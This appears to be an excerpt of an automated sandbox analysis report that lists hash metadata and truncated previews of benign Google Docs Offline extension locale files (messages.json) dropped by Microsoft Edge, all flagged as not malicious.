SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d 